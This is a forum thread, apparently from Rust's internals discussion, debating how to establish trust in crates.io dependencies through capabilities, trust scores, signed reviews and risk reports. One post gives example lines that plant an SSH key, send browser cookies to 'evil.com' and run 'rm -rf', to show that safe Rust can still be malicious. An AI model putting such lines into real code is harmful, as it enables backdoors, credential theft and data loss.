[pre-pre-rfc?] Solving Crate Trust

[kornel]

I doubt whether there’s a meaningful security in blocking of build scripts. While they’re the easiest and most straightforward way to pwn the build machine, realistically the same thing can be done from library code as well. The build machine is likely execute tests. If it’s developer machine, there’s nearly 100% chance that the developer will run the library code.

If a package really is malicious, blocking of build scripts only delays infection by one step. Malicious code will run when the built executable is tested or run.

So either build and products must be strongly isolated, or both guaranteed to be exploit-free.

[canndrew]

I think the best way to approach this would be to try and model it in terms of probabilities. A rough outline of a design could look something like this:

On crates.io, every user account has a trust score in the range (0.0, 1.0) indicating how likely that person is to be non-malicious. By default, every new user account has a trust score of, say, 0.99. Rust team members would have a higher score of, say, 0.999. In cargo’s global config you’re able to override these trust scores and say that you trust (eg.) @Manishearth by 0.999.

Users are able to endorse each other. I can tell crates.io that I trust @bob by b, then anyone who trusts me by x and would otherwise trust @bob by y would now trust @bob by max(y, x * b). (Or maybe some other formula. We’d need to do the math / game theory to work out what the correct probability would be)

When you build a crate, cargo looks at all the authors in the dependency tree and multiplies all the scores together to get the probability of the crate not containing any malicous code.

Every user account on crates.io then also has two reliability scores in the range (0.0, 1.0) indicating how likely a given byte of safe/unsafe code is to not accidently introduce an attack vector. New users get some default scores, same as with trustworthiness scores, and the default safe reliability score is significantly higher than the default unsafe reliability score.

When building, cargo looks at the amounts of (safe/unsafe) code introduced by each user and uses this to calculate to probability of there being no security flaws in the code.

Users can also review crates and endorse them as being reliable. If the crate author has a reliability score of a, and the reviewer has a reliability score of r, then the code in the crate inherits a score of a + (1 - a) * r. This allows multiple reviews to “stack up”, with more reliable reviewers adding more to the reliability score of the crate.

Cargo has global config settings of minimal trustworthiness and minimal reliability which restrict what you’re allowed to build/install. It also has the ability to give you a read-out of the scores of a crate and audit them to see how they were calculated.

In addition to all this, I’d kind of like to have a trusted subset of Rust which disallows unsafe code and disallows depending on crates which contain non-trusted code. The standard library would be non-trusted but there could maybe be an alternate, trusted standard library which doesn’t contain things like File. Trusted crates could then be depended on without effecting the trustworthiness of the depending crate.

Edit: Actually, since we’re making formal models of Rust, we could integrate cargo/crates.io with some formal verification tool and allow users to publish correctness proofs with their code. This could be a good to alternative to "trusted" Rust.

[Manishearth]

I think the best way to approach this would be to try and model it in terms of probabilities. A rough outline of a design could look something like this:

I think this attempts to solve a different problem. This creates a distributed trust model via a web of trust.

That’s … that’s not what we really need, though. Because what a particular user cares about may vary, and the people a particular user trusts vary.

For example, this doesn’t help Firefox at all, because the whole idea is that code being built as part of Firefox needs to be reviewed by a Firefox module owner. Not a nebulous web of trust.

[canndrew]

For example, this doesn’t help Firefox at all, because the whole idea is that code being built as part of Firefox needs to be reviewed by a Firefox module owner. Not a nebulous web of trust.

Why wouldn’t it work for firefox? Whoever’s in charge of releasing a firefox build would have cargo set up to put a very high level on trust on firefox developers and low level of trust on everyone else (maybe they can override the default scores given by crates.io if they feel crates.io isn’t paranoid enough, though that’s really a problem they should take up with the crates.io maintainers). Firefox developers could review crates and publish their reviews on crates.io to get the scores to where they need to be before the build is considered acceptably trustworthy.

[aidanhs]

The problems seem to cover a few different things:

• you cannot trust anyone, so you need help to decide which crates are ‘risky’ (unsafe, build script) and are candidates to audit
• when auditing crates, you need to be able to track if/when a crate was last reviewed
• you may wish to have some rules on dependencies to loudly flag increased risk (e.g. if left-pad were to add unsafe code)
• you want additional granularity of risk (e.g. different types of build scripts) to be able to automatically make more informed judgments on ‘increased risk’

Capabilities seems like a big jump. I can see it being an interesting ‘end goal’, but it seems to assume the presence of solutions to each of the above (e.g. that everyone can agree on the right way to decompose build scripts and will move over to it, that there’s a sandboxing strategy people can agree on), each of which seems like a possible RFC in itself.

What if step 1 of solving crate trust is just really good risk reporting of dependencies? E.g. you run cargo risk-report and it spits out some toml (or whatever) that lists each package and its risk factors (unsafe code, build scripts, include_bytes!, plugins). By itself this gives you the first point. Diffing against a previous risk report gives the second and a small utility would be sufficient to add the third.

This will hopefully raise awareness, allow the creation of related tools and maybe get more ideas of what people want to see as the idea is taken forward.

[bascule]

I thought this was an interesting solution to the problem, although I’m not sure about the actual practicality:

kmcallister/launch-code

[jmst]

It seems to me that the most practical solution is to:

1. Sign packages and include the public key in either Cargo.toml or an auxiliary file
2. Also have crates.io host signed review messages, that would be produced when e.g. the Firefox team or the Rust libs team reviews a version of a crate and finds it non-malicious
3. Provide in either Cargo.toml or local Cargo configuration a way to provide a list of trusted public keys: the build will fail if there is any dependency crate with no usable versions that are not either authored or reviewed by any of the keys. The solution then is of course to add your own key to the trusted keys, review the crate code and sign a review message (which would be automatically uploaded to crates.io unless the user opts out)
4. Have Cargo use trusted crate versions even if they aren’t the last version
5. Provide some way of mass trusting the keys of prominent developers, and maybe have a “web of trust” system where developers can trust each other, and users can choose to also trust those transitively trusted keys (this probably shouldn’t be used for important software like Firefox)

The idea of sandboxing untrusted crates seems instead much less promising since Rust has not really been designed for that and there are have been soundness holes as well as probably vulnerable unsafe code. That said, it’s still better than nothing, so it could be worth exploring.

Also I think trust needs to be (at least mainly) binary and not probabilistic, since if you care about it you need to be sure that the code is not malicious, so there is no difference between 90% and 0% trust.

BTW, we should use quantum-resistant signatures and keys (SIDH-based?) along with traditional EC crypto if possible, so we don’t have to throw away all crate reviews if quantum computers show up.

[kornel]

It may be worth mentioning that not-unsafe Rust code using only trusted packages can still cause harm:

fs::File::create(".ssh/authorized_keys")?.write_all(let_attackers_in);

curl.send("http://evil.com", file::get(browser_cookie_db_path));

Command::new("rm").arg("-rf")

etc. not-unsafe Rust is not safe at all, so audits focused on unsafe blocks aren’t going to catch malicious packages.

[Manishearth]

I think this really combines all the threat models into one. There are different things you wish to trust, and different levels of trust. Trust isn’t a simple binary, it’s multidimensional.

The idea of sandboxing untrusted crates seems instead much less promising since Rust has not really been designed for that and there are have been soundness holes as well as probably vulnerable unsafe code. That said, it’s still better than nothing, so it could be worth exploring.

Again, you’re missing the threat model, sandboxing untrusted crates is for catching malicious build scripts, not mistakes.

[Manishearth]

It may be worth mentioning that not-unsafe Rust code using only trusted packages can still cause harm:

Yeah, to be clear, for unsafe code the threat model involved is mistakes, not outright malicious code. Outright malicious code is what the “allowed to be used at all” capability is for.

[dhardy]

There’s no link between code on GitHub and code in the package. Publishing innocent code on GitHub and malicious code in the package file can fool people reviewing the repo (also a really safe package can become malicious at any later time).

This is an important point. When I type cargo publish, it’s the code in my local directory which gets used, not the code in some public repository. Maybe instead publish should take a commit on a pulbic GitHub repo, clone that repo into a GH team belonging to the Cargo team, make a signed tag, build from that, and then sign the build (all on a build server).

[H2CO3]

Very nice pre-pre-RFC, although I don’t understand why opt-out/allow-by-default/blacklist for many capabilities instead of opt-in/deny-by-default/whitelist? Given that we are explicitly talking about a security/safety/trust problem here, shouldn’t we just be extra vigilant and as strict as possible?

For example, I would very much like "allowed to use unsafe" to be denied by default. In my experience, many crates that use unsafe really don’t need the unsafe. Some programmers use it for “optimization” purposes; others are C programmers trying to avoid learning how to borrowck; and very few are actual, legitimate users who are trying to call into a C library or write a safe primitive to build on.

Related: I am currently working on a project that will explicitly advertise itself as "transitively free of unsafe". For now, it means that I have gone through every dependency of my project one-by-one, recursively, and verified if/how they use unsafe in any of the functions/types I am using from them. I’ve also submitted pull requests that remove unnecessary unsafes from several such depended-upon-by-me crates in the course. In the future, if I update any of these crates, I will need to go through it again.

To mitigate this, I think many of us would appreciate some sort of tooling, e.g. cargo safe, that would allow one to query and track uses of unsafe in the transitive dependencies.

[Manishearth]

Given that we are explicitly talking about a security/safety/trust problem here, shouldn’t we just be extra vigilant and as strict as possible?

Because we don’t know which security problem the user is concerned about; it is up to them to pick. This RFC is providing a framework that lets users decide what issues they care about and then audit for those.

Also, if this is built into cargo, capabilities being opt-out is a breaking change.

For example, I would very much like “allowed to use unsafe” to be denied by default. In my experience, many crates that use unsafe really don’t the need the unsafe.

This does not match up with my experience. Plenty of crates need it, especially FFI. There are amateurish crates out there, sure, but that’s a problem anyway, you should be picking good crates.

To mitigate this, I think many of us would appreciate some sort of tooling, e.g. cargo safe, that would allow one to query and track uses of unsafe in the transitive dependencies.

This is … basically what is being proposed here? A superset solution.

[vorner]

I see this might be useful (I’m not really trying to decide if this exact set of capabilities is best, I mean the general idea). I’m a bit worried about the initial scope ‒ would it make sense to start small first?

Also, this is just the first step. This tells me which dependencies I might want to audit, but it doesn’t help me with the audit itself. I understand it is not the goal, but maybe it would be worth stating explicitly as non-goal (when I read the title, I kind of expected this to be addressed as well).

I also think some kind of signatures/reviews/audits published to crates.io (or elsewhere) could help with the other half ‒ at least for individual developers without the means to audit everything they have ‒ firefox has a large team and the resources. If I want to do my own little program, I want it to be safe, but I don’t have the means to check everything myself. But yes, that’s probably different part of the puzzle.

[bjorn3]

Users are able to endorse each other. I can tell crates.io that I trust @bob by b, then anyone who trusts me by x and would otherwise trust @bob by y would now trust @bob by max(y, x * b). (Or maybe some other formula. We’d need to do the math / game theory to work out what the correct probability would be)

Maybe use google’s pagerank

[kornel]

Another failure mode:

Firms buy popular Chrome extensions to inject malware, ads | ZDNet

This could potentially happen with Cargo — author of a popular crate may decide to sell it or accept a lucrative deal to “monetize” it. This means that even age and popularity of a crate is not a guarantee the crate won’t become malware

[mark-i-m]

Trust is not transitive. In the end, it will probably come down to auditing and community endorsement, I think…

[taralx]

My biggest concern with this is that crates often seem to extend their functionality and thus acquire additional dependencies that I do not want and will not use. The ergonomics around splitting the functionality of a crate is not great right now.

[gavento]

My biggest concern with this is that crates often seem to extend their functionality and thus acquire additional dependencies that I do not want and will not use. The ergonomics around splitting the functionality of a crate is not great right now.

Would cargo features help with optional functionalities and their dependencies? It would be an additional aspect complicating the RFC, but it might be worth mentioning.

[HaronK]

About a year ago I have read a post about reproducibility of the rustc releases (there is also an issue for this). I think the same approach applied to the crates.io libraries can make them more secure. At least anyone would be able to reproduce a build and compare it with one from the crates.io (or it can be done automatically).

I know we depend on LLVM but as it was discussed in the post I mentioned above everything can be solved.